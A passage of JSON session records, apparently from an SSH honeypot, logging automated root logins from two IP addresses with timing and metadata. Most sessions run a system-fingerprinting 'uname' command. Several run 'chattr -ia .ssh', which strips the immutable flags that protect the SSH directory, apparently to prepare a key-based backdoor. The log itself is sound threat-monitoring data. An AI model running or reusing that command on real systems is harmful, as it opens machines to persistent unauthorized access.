  "name": "painted-lonesome-brambling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 58412,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 252,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:35:30.005695+00:00",
  "ended_at": "2026-08-27T02:35:35.345096+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e8fb258d-789e-4972-8fbc-7841abd8c7e9",
  "name": "regal-cobalt-starling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 46886,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 246,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:34:43.685146+00:00",
  "ended_at": "2026-08-27T02:34:46.657282+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "afc75e61-9eff-485d-a165-a7d686694b9c",
  "name": "sterling-wry-turnstone",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 44938,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 309,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:34:08.414892+00:00",
  "ended_at": "2026-08-27T02:34:14.508573+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "84ded69b-57f9-43c2-a1ff-709691a264d3",
  "name": "marbled-painted-saola",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 51240,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 246,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:33:43.729969+00:00",
  "ended_at": "2026-08-27T02:33:48.374888+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "644ae93a-a02a-41b5-8337-394ddc6f16f0",
  "name": "russet-courtly-jackdaw",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 49912,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 547,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T02:33:20.602582+00:00",
  "ended_at": "2026-08-27T02:33:21.281889+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "ed09cc5b-f8d0-4a89-bff1-3b83e1a0d303",
  "name": "idle-quartz-firefly",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 46432,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 330,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:33:09.181541+00:00",
  "ended_at": "2026-08-27T02:33:12.465685+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "304a6b3f-3665-4713-bb3c-97716ed01660",
  "name": "dewy-mossy-wigeon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 59824,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:33:07.889239+00:00",
  "ended_at": "2026-08-27T02:33:09.531593+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "79a39479-d508-4021-8555-5781080918c8",
  "name": "rapid-ashen-panther",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 47798,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 281,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:32:50.736827+00:00",
  "ended_at": "2026-08-27T02:32:53.599003+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ec6ee4bc-e9d6-4668-b979-83ce6e6a6641",
  "name": "hardy-cunning-cuckoo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 55452,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 445,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:32:46.857362+00:00",
  "ended_at": "2026-08-27T02:32:51.907726+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7473ea66-7b22-4e45-b9b8-ec4975cd25bd",
  "name": "arctic-ginger-jackdaw",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 42984,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 257,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:32:17.272439+00:00",
  "ended_at": "2026-08-27T02:32:20.613157+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "dcf61764-b7a5-4ef7-be0a-31105f24d7d4",
  "name": "sooty-clever-dormouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 47566,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 261,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:31:49.984497+00:00",
  "ended_at": "2026-08-27T02:31:54.018901+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ebb017de-a624-461d-bd72-08f2eccf3b36",
  "name": "woven-honest-catbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 34656,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 229,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:31:22.177515+00:00",
  "ended_at": "2026-08-27T02:31:28.081571+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "30d1a405-0d6a-4390-a01d-f1932582655f",
  "name": "arctic-snowy-manatee",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 60536,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 232,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:30:50.619660+00:00",
  "ended_at": "2026-08-27T02:30:52.770402+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1267a712-7ea8-4148-9b05-02533764a3aa",
  "name": "gritty-gilded-bison",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 60482,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 264,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:30:45.664131+00:00",
  "ended_at": "2026-08-27T02:30:46.621934+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c36241c4-4cb9-49fc-a806-828a7d2da45a",
  "name": "bronzed-sunlit-mongoose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 58886,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 297,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:30:38.671775+00:00",
  "ended_at": "2026-08-27T02:30:40.430717+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c421ff32-9624-44e4-b890-93b289a7d2c4",
  "name": "diligent-supple-rook",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 45132,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 289,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:30:19.984555+00:00",
  "ended_at": "2026-08-27T02:30:22.095085+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5caa8338-6ca2-43a8-b431-786ef952642f",
  "name": "rustic-upland-stoat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 60066,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 209,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:29:21.810326+00:00",
  "ended_at": "2026-08-27T02:29:22.231279+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "09e69ef3-3f80-4c0f-a2cb-1e34e9909168",
  "name": "knotted-frugal-goldcrest",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 55576,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 184,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:29:00.169329+00:00",
  "ended_at": "2026-08-27T02:29:00.250859+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c1d730f6-0400-4b4e-9eff-4b5a19b1fa25",
  "name": "flinty-painted-numbat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 46178,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 233,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:27:03.815102+00:00",
  "ended_at": "2026-08-27T02:27:07.936727+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a0d34dad-6286-40f0-9fff-5ff2ffb87d08",
  "name": "zealous-lawful-chickadee",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 34832,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 522,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T02:27:02.181397+00:00",
  "ended_at": "2026-08-27T02:27:03.575059+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "b29f6bd0-18a8-465c-afea-53e219109e65",
  "name": "boreal-ashen-pika",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 39184,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:26:42.385386+00:00",
  "ended_at": "2026-08-27T02:26:44.046015+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c05ecf64-628f-441d-af7a-6186ea40af74",
  "name": "dappled-mighty-gecko",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 38050,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 277,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:26:16.856881+00:00",
  "ended_at": "2026-08-27T02:26:21.408898+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4483e013-3f1c-4e7b-b6f9-7463570e3302",
  "name": "vivid-nimble-reindeer",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 57518,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 362,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:26:11.652480+00:00",
  "ended_at": "2026-08-27T02:26:14.854042+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1463ad5f-a77c-42a6-864c-1fdf75e8b832",
  "name": "hushed-coastal-roebuck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 36978,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 369,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:25:53.408391+00:00",
  "ended_at": "2026-08-27T02:25:56.308507+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b7f72ec9-b9c1-41a4-8332-75c26fed4862",
  "name": "gallant-graceful-springbok",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 41878,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 345,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:25:30.809047+00:00",
  "ended_at": "2026-08-27T02:25:34.197614+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6376bf85-a667-40b7-942e-780ce97d9bb8",
  "name": "wiry-nameless-siskin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 47268,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 404,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:25:30.076396+00:00",
  "ended_at": "2026-08-27T02:25:36.239934+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "205c690f-2ab3-45cb-9c2a-d66df1292e42",
  "name": "burly-nimble-marmot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 55914,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 337,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:24:52.803865+00:00",
  "ended_at": "2026-08-27T02:24:58.271710+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "11c8ca05-3d98-4af1-a03f-17b80a8fc5d9",
  "name": "cunning-inland-crossbill",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 57262,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 418,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:23:48.395462+00:00",
  "ended_at": "2026-08-27T02:23:54.275652+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0723a641-7c7d-4b51-9087-ebcd2daf77f5",
  "name": "forlorn-salty-turnstone",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 35172,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 360,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:23:10.370079+00:00",
  "ended_at": "2026-08-27T02:23:16.008747+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "92fe4bff-37d2-4f98-8006-a000ad266fe4",
  "name": "hollow-crystal-lorikeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 53500,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 251,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:22:57.000366+00:00",
  "ended_at": "2026-08-27T02:23:01.823907+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "84eae8ff-545e-425f-a5bd-973f632e649a",
  "name": "faded-supple-lynx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 36684,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 361,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:22:15.116285+00:00",
  "ended_at": "2026-08-27T02:22:19.400189+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b1420c50-22f7-4549-99cd-735437ede2a5",
  "name": "tranquil-pristine-thrush",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 54584,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 266,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:21:46.297405+00:00",
  "ended_at": "2026-08-27T02:21:51.165905+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e4a50ca0-1eb9-4987-b4d3-b80baa763006",
  "name": "mighty-gleaming-linnet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 46466,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 311,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:21:24.752426+00:00",
  "ended_at": "2026-08-27T02:21:30.032845+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "af0fc781-4a32-4748-906e-a907d9047226",
  "name": "buoyant-forlorn-snipe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 46418,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 357,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:21:18.909089+00:00",
  "ended_at": "2026-08-27T02:21:22.582699+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "54fb428a-ea39-4b0f-a406-e8d48763c53e",
  "name": "mossy-pleasant-bison",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 40494,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 304,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:20:32.150656+00:00",
  "ended_at": "2026-08-27T02:20:36.118873+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0a314fc2-3b98-41ad-91ca-de0dd02cbf3c",
  "name": "gleaming-golden-guanaco",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 45650,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 239,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:18:36.145557+00:00",
  "ended_at": "2026-08-27T02:18:41.350867+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0d55bb88-ee9e-44c2-ac5a-f37f1e519f35",
  "name": "wooded-gnarled-lark",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 54868,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 232,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:18:33.952551+00:00",
  "ended_at": "2026-08-27T02:18:37.721086+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "eb077dd9-d37c-4314-ba6d-ceb3d85437a3",
  "name": "gritty-bold-walrus",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 59286,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 551,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T02:17:40.565599+00:00",
  "ended_at": "2026-08-27T02:17:41.267934+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "5c59b0f0-7a91-4071-8116-99dded125797",
  "name": "windswept-supple-lemur",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 58310,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:17:28.365174+00:00",
  "ended_at": "2026-08-27T02:17:30.208652+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0038f503-0cbf-4243-a7f9-913a59700a81",
  "name": "blithe-vivid-cougar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 47670,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 383,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:17:23.817267+00:00",
  "ended_at": "2026-08-27T02:17:29.552928+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "182e089a-ec32-4184-b220-b41905e53a4f",
  "name": "keen-austere-coyote",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 52438,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 302,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:16:40.705451+00:00",
  "ended_at": "2026-08-27T02:16:44.989955+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8d260349-1ce7-46a4-9c32-24d6d6214952",
  "name": "gritty-supple-condor",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 49394,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 309,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:15:54.655136+00:00",
  "ended_at": "2026-08-27T02:15:58.876299+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "03785cee-7e39-43a5-8978-bd2ed82cef5a",
  "name": "wistful-glacial-hare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 49340,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 325,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:15:49.724038+00:00",
  "ended_at": "2026-08-27T02:15:55.612022+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "72145c52-4ca3-4d72-8f9a-0e94e2543463",
  "name": "glassy-arctic-guanaco",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 54662,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 285,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:15:27.913516+00:00",
  "ended_at": "2026-08-27T02:15:32.887819+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "bd58bd88-212d-4729-a7ef-2faacb26a5a7",
  "name": "zealous-reedy-kingfisher",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 57874,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 211,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:15:03.282114+00:00",
  "ended_at": "2026-08-27T02:15:08.008831+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e56f4d37-69af-4be5-b583-9e7cd9794e8e",
  "name": "jaunty-subtle-pika",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 47570,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 353,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:14:35.734194+00:00",
  "ended_at": "2026-08-27T02:14:37.494226+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "86c023bd-0f08-4440-9bb3-c09cf12ebe28",
  "name": "idle-plush-ibis",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 59974,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 259,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:14:03.206564+00:00",
  "ended_at": "2026-08-27T02:14:04.332946+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "03a2ebd4-9706-49d8-a13e-8069ad4b98d4",
  "name": "quartz-marbled-weasel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 60626,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 299,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:13:51.099418+00:00",
  "ended_at": "2026-08-27T02:13:52.600056+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e88b164d-eab6-402c-acb4-0608ad11bc3c",
  "name": "dapper-frank-gerbil",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 56694,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 262,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:13:31.937401+00:00",
  "ended_at": "2026-08-27T02:13:32.689847+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "798f2c50-ed4c-43fa-bbba-e3b2d74290d2",
  "name": "rambling-jovial-vole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 54326,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 343,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:13:21.367851+00:00",
  "ended_at": "2026-08-27T02:13:22.132123+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
